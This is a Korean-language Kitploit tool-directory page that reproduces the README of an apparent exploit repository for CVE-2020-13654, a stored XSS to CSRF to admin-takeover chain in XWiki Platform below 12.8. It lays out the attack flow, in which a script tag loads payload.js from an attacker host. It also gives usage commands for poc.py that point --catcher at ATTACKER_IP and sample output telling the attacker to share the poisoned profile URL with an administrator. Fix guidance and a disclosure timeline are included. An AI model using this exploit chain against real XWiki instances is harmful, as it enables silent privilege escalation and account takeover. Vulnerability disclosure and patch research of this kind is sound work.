Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-13654 — CVE-2020-13654 - XWiki Platform < 12.8 - 저장형 XSS → CSRF → 계정 탈취 | Kitploit
도구/GitHubGitHub/astaruf/cve-2020-13654
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubastaruf/cve-2020-13654

CVE-2020-13654

CVE-2020-13654 - XWiki Platform < 12.8 - 저장형 XSS → CSRF → 계정 탈취

저장소 보기
14개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

CVE-2020-13654 - XWiki Platform < 12.8 - 저장형 XSS → CSRF → 권한 상승

발견 및 보고자: Astaruf
전체 보고서: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
NVD 항목: https://nvd.nist.gov/vuln/detail/CVE-2020-13654


취약점

XWiki Platform 버전 12.8 미만은 프로필 편집기에서 사용자 제어 필드에 HTML 인코딩을 적용하지 않습니다. 연구 중 확인된 영향을 받는 필드는 "회사" (편집 → 개인 정보 아래)이지만, 다른 프로필 필드도 동일한 코드 경로를 공유합니다.

프로필 페이지가 렌더링될 때, 저장된 필드 값은 $escapetool.xml() 또는 이에 상응하는 이스케이프 호출 없이 HTML에 그대로 출력됩니다. 방금 자체 등록한 계정을 포함하여 인증된 모든 계정을 가진 공격자는 임의의 HTML/JavaScript를 저장할 수 있으며, 이는 관리자를 포함하여 프로필을 방문하는 모든 사용자의 브라우저에서 지속적으로 실행됩니다.

영향을 받는 Velocity 템플릿의 근본 원인:

root@kitploit:~
## Vulnerable (< 12.8): value written directly to the DOM
$xwiki.getUserProperty($user, "company")

## Fixed (≥ 12.8): value HTML-encoded before output
$escapetool.xml($xwiki.getUserProperty($user, "company"))
필드값
제품XWiki Platform
영향을 받는 버전< 12.8
수정된 버전12.8
CVSSv3 점수7.5 (High)
CWE

공격 시나리오

이 PoC는 제로 클릭 권한 상승 체인을 시연합니다:

root@kitploit:~
Low-privilege attacker account
        │
        ├─ stores <script src="http://attacker/payload.js"> in Company field
        ▼
  XWiki profile page (poisoned)
        │
        ├─ admin navigates to the page (e.g. via user list or support ticket)
        ▼
  Payload executes in admin browser session
        │
        ├─ fetches /bin/view/XWiki/XWikiAdminGroup  →  extracts CSRF token
        ├─ POSTs form_token + xpage=adduorg + name=attacker  →  adds attacker to XWikiAdminGroup
        │
        ▼
  Attacker now has full admin access

단일 페이지 방문 외에는 관리자 상호작용이 필요하지 않습니다.


PoC

poc.py는 자체 포함된 익스플로잇 스크립트입니다. 이 스크립트는:

  1. 선택적으로 XWiki의 공개 등록 엔드포인트를 통해 새 저권한 계정을 자체 등록합니다.
  2. 공격자 계정을 인증하고 XSS 페이로드를 회사 프로필 필드에 주입하며, 다른 모든 기존 필드 값을 유지합니다.
  3. 페이로드가 렌더링된 페이지 소스에 있는지 확인합니다.
  4. 내장된 JavaScript 페이로드(/payload.js)를 제공하고 들어오는 비콘을 기록하는 통합 HTTP 서버를 시작합니다.
  5. 관리자가 감염된 프로필 URL을 방문하기를 기다립니다.

관리자가 URL을 방문하면 저장된 <script src="..."> 태그가 공격자 서버에서 payload.js를 로드합니다. 페이로드는 관리자의 인증된 브라우저 컨텍스트에서 실행되어 공격자의 계정을 XWikiAdminGroup에 자동으로 추가하고 결과를 다시 비콘으로 보냅니다.

사용법

root@kitploit:~
pip install -r requirements.txt

자체 등록 사용 (기존 계정 불필요):

root@kitploit:~
python poc.py \
  --target     http://TARGET:8080 \
  --catcher    http://ATTACKER_IP:9000 \
  --username   hacker \
  --password   'P@ssw0rd123' \
  --register   \
  --first-name John \
  --last-name  Doe \
  --email      [email protected]

기존 저권한 계정 사용:

root@kitploit:~
python poc.py \
  --target   http://TARGET:8080 \
  --catcher  http://ATTACKER_IP:9000 \
  --username hacker \
  --password 'P@ssw0rd123'

인수

예상 출력

root@kitploit:~
[*] Registering account 'hacker' ...
✅  Registration successful.
[*] Authenticating as 'hacker' ...
✅  Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅  Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅  Payload confirmed in page source.

════════════════════════════════════════════════════════════
  EXPLOIT ARMED — WAITING FOR VICTIM

  Share this URL with (or wait for) an administrator to visit:
  >>>  http://TARGET:8080/bin/view/XWiki/hacker

  When triggered, the attacker account 'hacker'
  will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════

2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED     | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker

수정 방법

XWiki Platform ≥ 12.8로 업그레이드하세요.

수정 사항은 렌더링 전에 모든 사용자 제어 프로필 필드에 $escapetool.xml()을 적용하여 원시 HTML/JavaScript 주입을 방지합니다.

즉시 업그레이드가 불가능한 경우, XWiki의 접근 권한 관리를 통해 자체 등록을 제한하고 프로필 가시성을 신뢰할 수 있는 사용자로 제한하세요.


타임라인

날짜이벤트
2020년 5월

참고 자료

  • https://nvd.nist.gov/vuln/detail/CVE-2020-13654
  • https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
  • https://github.com/xwiki/xwiki-platform
  • https://cwe.mitre.org/data/definitions/116.html

면책 조항

이 저장소는 교육 및 승인된 보안 연구 목적으로만 제공됩니다.
소유하지 않거나 테스트에 대한 명시적 서면 허가가 없는 시스템에 대해 사용하지 마십시오.
저자는 오용에 대한 책임을 지지 않습니다.

도구 다운로드
CWE-116 — 부적절한 출력 인코딩 또는 이스케이프
인수필수설명
--target✅XWiki 기본 URL
--catcher✅공격자 제어 URL (payload.js 제공 및 비콘 수집에 사용)
--username✅공격자 계정 사용자 이름
--password✅공격자 계정 비밀번호
--register✗익스플로잇 전 계정 자동 등록
--first-name--register 사용 시등록용 이름
--last-name--register 사용 시등록용 성
--email--register 사용 시등록용 이메일
취약점 발견
2020년 5월XWiki 보안 팀에 보고
2020년 7월XWiki Platform 12.8에서 패치됨
2020년 11월MITRE에 의해 CVE-2020-13654 지정
2020년 12월 30일공개 공개 — nstsec.com